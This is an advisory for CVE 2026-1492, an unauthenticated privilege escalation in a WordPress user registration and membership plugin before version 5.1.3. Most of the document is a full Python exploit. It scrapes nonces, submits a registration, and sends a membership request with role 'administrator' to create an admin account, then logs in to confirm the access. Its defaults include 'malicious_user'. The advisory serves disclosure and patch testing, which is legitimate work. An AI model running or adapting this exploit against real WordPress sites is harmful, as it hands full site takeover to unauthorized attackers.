User Registration & Membership < 5.1.3 – Unauthenticated Privilege Escalation via Membership Registration | CVE 2026-1492

Description

The User Registration & Membership – Custom Registration Form Builder, Custom Login Form, User Profile, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to improper privilege management in all versions up to, and including, 5.1.2. This is due to the plugin accepting a user-supplied role during membership registration without properly enforcing a server-side allowlist. This makes it possible for unauthenticated attackers to create administrator accounts by supplying a role value during membership registration.

Proof of Concept

#!/usr/bin/env python3
"""
User Registration <= X.X.X - Privilege Escalation via Membership Registration

This script exploits a vulnerability in the User Registration WordPress plugin
where the membership registration AJAX action accepts a user-provided 'role'
parameter without validation, allowing unauthenticated attackers to create
administrator accounts.

Vulnerability Details:
- The 'user_registration_membership_register_member' AJAX action processes
  the 'members_data' JSON which includes a 'role' parameter
- The role is sanitized but NOT validated against allowed roles
- When the membership ID points to a non-membership post, the user-provided
  role persists and is assigned to the new user

Usage:
    python3 poc.py -u https://target.com
    python3 poc.py -u https://target.com --username evil --password evil123

WARNING: This script is for authorized security testing only.
"""

import requests
import re
import json
import argparse
import sys
from urllib.parse import urlencode
from datetime import datetime


class Colors:
    """Terminal colors for verbose output"""

    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    RESET = "\033[0m"
    BOLD = "\033[1m"


def print_header(msg):
    print(f"{Colors.BLUE}[*]{Colors.RESET} {msg}")


def print_success(msg):
    print(f"{Colors.GREEN}[+]{Colors.RESET} {msg}")


def print_error(msg):
    print(f"{Colors.RED}[-]{Colors.RESET} {msg}")


def print_info(msg):
    print(f"{Colors.YELLOW}[>]{Colors.RESET} {msg}")


def exit_error(msg):
    """Print error message and exit immediately"""
    print_error(msg)
    sys.exit(1)


def get_valid_post_id(session, base_url):
    """
    Fetch a valid post ID via WordPress REST API.
    Any public post will work since the plugin doesn't validate post_type.
    """
    print_info("Fetching valid post ID via REST API...")

    try:
        response = session.get(
            f"{base_url}/wp-json/wp/v2/posts", params={"per_page": 1}, timeout=10
        )
        response.raise_for_status()

        posts = response.json()
        if not posts or not isinstance(posts, list):
            exit_error("No posts found via REST API")

        post_id = posts[0]["id"]
        print_success(f"Found valid post ID: {post_id}")
        return post_id

    except requests.exceptions.RequestException as e:
        exit_error(f"Failed to fetch posts: {e}")
    except (json.JSONDecodeError, KeyError) as e:
        exit_error(f"Failed to parse REST API response: {e}")


def extract_nonces(html):
    """
    Extract required nonces and form data from the registration page.

    Returns dict with:
    - form_data_save: user_registration_form_data_save nonce
    - frontend_nonce: ur_frontend_form_nonce value
    - membership_nonce: ur_membership_frontend_localized_data._nonce
    - form_id: The registration form ID
    - membership_field_name: The membership radio field name
    - membership_value: The membership plan value
    """
    nonces = {}

    # Extract user_registration_form_data_save
    match = re.search(r'user_registration_form_data_save":"([a-f0-9]+)"', html)
    if not match:
        exit_error("Could not extract user_registration_form_data_save nonce")
    nonces["form_data_save"] = match.group(1)

    # Extract ur_frontend_form_nonce
    match = re.search(r'ur_frontend_form_nonce.*?value="([a-f0-9]+)"', html, re.DOTALL)
    if not match:
        # Try alternative pattern
        match = re.search(r'"ur_frontend_form_nonce":"([a-f0-9]+)"', html)
    if not match:
        exit_error("Could not extract ur_frontend_form_nonce")
    nonces["frontend_nonce"] = match.group(1)

    # Extract membership nonce from ur_membership_frontend_localized_data
    match = re.search(
        r'ur_membership_frontend_localized_data\s*=\s*\{[^}]*"_nonce":"([a-f0-9]+)"',
        html,
    )
    if not match:
        # Try JSON format
        match = re.search(
            r'"ur_membership_frontend_localized_data":\s*\{[^}]*"_nonce":"([a-f0-9]+)"',
            html,
        )
    if not match:
        exit_error("Could not extract membership _nonce")
    nonces["membership_nonce"] = match.group(1)

    # Extract form ID (default to 284 if not found)
    match = re.search(r'form_id["\']?\s*[:=]\s*["\']?(\d+)', html)
    if match:
        nonces["form_id"] = match.group(1)
    else:
        # Try to find it in user_registration_params
        match = re.search(r'"form_id":"(\d+)"', html)
        if match:
            nonces["form_id"] = match.group(1)
        else:
            nonces["form_id"] = "284"  # Default from original PoC

    # Extract membership field name and value
    # Pattern 1: data-name=membership_field_XXX ... value="NNN"
    match = re.search(r'data-name=(membership_field_\d+)[^>]*value="(\d+)"', html)
    if match:
        nonces["membership_field_name"] = match.group(1)
        nonces["membership_value"] = match.group(2)
    else:
        # Pattern 2: name="membership_field_XXX" ... value="NNN"
        match = re.search(r'name="(membership_field_[^"]+)"[^>]*value="(\d+)"', html)
        if match:
            nonces["membership_field_name"] = match.group(1)
            nonces["membership_value"] = match.group(2)
        else:
            # Pattern 3: JSON format
            match = re.search(
                r'"field_name":"(membership_field_[^"]+)".*?"value":"(\d+)"', html
            )
        if match:
            nonces["membership_field_name"] = match.group(1)
            nonces["membership_value"] = match.group(2)
        else:
            exit_error("Could not extract membership field name")

    return nonces


def build_form_data(username, password, membership_field_name, membership_value):
    """
    Build the URL-encoded JSON form_data parameter.
    """
    form_data = [
        {
            "field_name": "user_login",
            "value": username,
            "field_type": "text",
            "label": "Username",
        },
        {
            "field_name": "user_email",
            "value": f"{username}@example.com",
            "field_type": "email",
            "label": "User Email",
        },
        {
            "field_name": "user_pass",
            "value": password,
            "field_type": "password",
            "label": "User Password",
        },
        {
            "field_name": "user_confirm_password",
            "value": password,
            "field_type": "password",
            "label": "Confirm Password",
        },
        {
            "value": membership_value,
            "field_type": "radio",
            "label": "membership",
            "field_name": membership_field_name,
        },
    ]
    return json.dumps(form_data)


def submit_registration_form(session, base_url, nonces, username, password):
    """
    Step 1: Submit the user registration form.
    This creates the user account with urm_user_just_created meta.
    """
    print_info("Submitting registration form...")

    form_data = build_form_data(
        username, password, nonces["membership_field_name"], nonces["membership_value"]
    )

    data = {
        "action": "user_registration_user_form_submit",
        "security": nonces["form_data_save"],
        "form_data": form_data,
        "form_id": nonces["form_id"],
        "registration_language": "en-US",
        "ur_frontend_form_nonce": nonces["frontend_nonce"],
        "is_membership_active": nonces["membership_value"],
        "membership_type": nonces["membership_value"],
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
    }

    try:
        response = session.post(
            f"{base_url}/wp-admin/admin-ajax.php",
            data=data,
            headers=headers,
            timeout=15,
        )
        response.raise_for_status()

        # Check for success indicators
        try:
            result = response.json()
            if (
                result.get("success")
                or result.get("message")
                or "success" in response.text.lower()
            ):
                print_success("Registration form submitted successfully")
                return True
        except json.JSONDecodeError:
            pass

        # Even if JSON parsing fails, continue if response looks okay
        if response.status_code == 200:
            print_success("Registration form submitted (HTTP 200)")
            return True

        exit_error(f"Registration form submission failed: HTTP {response.status_code}")

    except requests.exceptions.RequestException as e:
        exit_error(f"Failed to submit registration form: {e}")


def register_membership(session, base_url, nonces, username, post_id, role):
    """
    Step 2: Register membership with the malicious role parameter.
    The role is taken from user input and not validated.
    """
    print_info(f"Registering membership with role={role}...")

    # Generate today's date in the expected format
    today = datetime.now().strftime("%Y-%-m-%-d")

    members_data = {
        "membership": str(post_id),
        "payment_method": "free",
        "start_date": today,
        "switched_currency": "\n\t\t\t\t\t\t\t\t\t\t\t",
        "urm_zone_id": "\n\t\t\t\t\t\t\t\t\t\t\t\t",
        "username": username,
        "role": role,
    }

    form_response = {
        "username": username,
        "success_message_positon": "1",
        "form_login_option": "default",
        "redirect_timeout": 0,
        "registration_type": "membership",
    }

    data = {
        "action": "user_registration_membership_register_member",
        "members_data": json.dumps(members_data),
        "form_response": json.dumps(form_response),
        "_wpnonce": nonces["membership_nonce"],
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
    }

    try:
        response = session.post(
            f"{base_url}/wp-admin/admin-ajax.php",
            data=data,
            headers=headers,
            timeout=15,
        )
        response.raise_for_status()

        print_success("Membership registration completed")
        return True

    except requests.exceptions.RequestException as e:
        exit_error(f"Failed to register membership: {e}")


def verify_admin_access(session, base_url, username, password):
    """
    Step 3: Verify administrator access by logging in.
    """
    print_info(f"Verifying administrator access for user '{username}'...")

    # First, get the login page to extract any required tokens
    try:
        login_page = session.get(f"{base_url}/wp-login.php", timeout=10)
    except requests.exceptions.RequestException as e:
        exit_error(f"Failed to fetch login page: {e}")

    # Attempt login
    login_data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": f"{base_url}/wp-admin/",
        "testcookie": "1",
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": base_url,
        "Referer": f"{base_url}/wp-login.php",
    }

    try:
        response = session.post(
            f"{base_url}/wp-login.php",
            data=login_data,
            headers=headers,
            allow_redirects=True,
            timeout=15,
        )

        # Check if we're now in the admin area
        if "/wp-admin/" in response.url or "dashboard" in response.text.lower():
            print_success("Login successful!")
            print_success("Admin dashboard accessible!")
            return True

        # Check for login error indicators
        if "login_error" in response.text.lower() or "invalid" in response.text.lower():
            exit_error("Login failed: Invalid credentials")

        # Try to access wp-admin directly
        admin_response = session.get(f"{base_url}/wp-admin/", timeout=10)
        if (
            admin_response.status_code == 200
            and "dashboard" in admin_response.text.lower()
        ):
            print_success("Login successful!")
            print_success("Admin dashboard accessible!")
            return True

        if admin_response.status_code in [302, 301]:
            exit_error("Access denied: Redirected away from admin area")

        exit_error("Failed to verify admin access")

    except requests.exceptions.RequestException as e:
        exit_error(f"Failed during verification: {e}")


def main():
    parser = argparse.ArgumentParser(
        description="User Registration Privilege Escalation PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
    %(prog)s -u https://target.com
    %(prog)s -u https://target.com --username evil --password evil123
    %(prog)s -u https://target.com --role editor
        """,
    )
    parser.add_argument(
        "-u",
        "--url",
        required=True,
        help="Base URL of the WordPress site (e.g., https://example.com)",
    )
    parser.add_argument(
        "--username",
        default="malicious_user",
        help="Username for the new admin account (default: malicious_user)",
    )
    parser.add_argument(
        "--password",
        default="malicious_password",
        help="Password for the new admin account (default: malicious_password)",
    )
    parser.add_argument(
        "--role",
        default="administrator",
        help="Role to assign (default: administrator)",
    )

    args = parser.parse_args()

    # Normalize URL (remove trailing slash)
    base_url = args.url.rstrip("/")

    # Print header
    print()
    print(f"{Colors.BOLD}{'=' * 60}{Colors.RESET}")
    print(f"{Colors.BOLD}  User Registration Privilege Escalation PoC{Colors.RESET}")
    print(f"{Colors.BOLD}{'=' * 60}{Colors.RESET}")
    print()
    print_header(f"Target: {base_url}")
    print_header(f"Username: {args.username}")
    print_header(f"Password: {args.password}")
    print_header(f"Role: {args.role}")
    print()

    # Initialize session
    session = requests.Session()
    session.headers.update(
        {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0"
        }
    )

    # Step 1: Fetch registration page and extract nonces
    print_header("Step 1: Fetching registration page...")
    try:
        response = session.get(f"{base_url}/registration/", timeout=10)
        response.raise_for_status()
    except requests.exceptions.RequestException as e:
        exit_error(f"Failed to fetch registration page: {e}")

    print_info("Extracting nonces...")
    nonces = extract_nonces(response.text)

    print_success("Extracted nonces:")
    print(f"    - form_data_save: {nonces['form_data_save'][:8]}...")
    print(f"    - frontend_nonce: {nonces['frontend_nonce'][:8]}...")
    print(f"    - membership_nonce: {nonces['membership_nonce'][:8]}...")
    print(f"    - form_id: {nonces['form_id']}")
    print(
        f"    - membership_field: {nonces['membership_field_name']} = {nonces['membership_value']}"
    )
    print()

    # Step 2: Get a valid post ID
    print_header("Step 2: Getting valid post ID...")
    post_id = get_valid_post_id(session, base_url)
    print()

    # Step 3: Submit registration form
    print_header("Step 3: Submitting registration form...")
    submit_registration_form(session, base_url, nonces, args.username, args.password)
    print()

    # Step 4: Register membership with malicious role
    print_header("Step 4: Registering membership with malicious role...")
    register_membership(session, base_url, nonces, args.username, post_id, args.role)
    print()

    # Step 5: Verify admin access
    print_header("Step 5: Verifying administrator access...")
    verify_admin_access(session, base_url, args.username, args.password)
    print()

    # Success!
    print(f"{Colors.BOLD}{Colors.GREEN}{'=' * 60}{Colors.RESET}")
    print(
        f"{Colors.BOLD}{Colors.GREEN}  SUCCESS! Administrator account created{Colors.RESET}"
    )
    print(f"{Colors.BOLD}{Colors.GREEN}{'=' * 60}{Colors.RESET}")
    print()
    print(f"  Username: {args.username}")
    print(f"  Password: {args.password}")
    print(f"  Role:     {args.role}")
    print(f"  Login:    {base_url}/wp-login.php")
    print()


if __name__ == "__main__":
    main()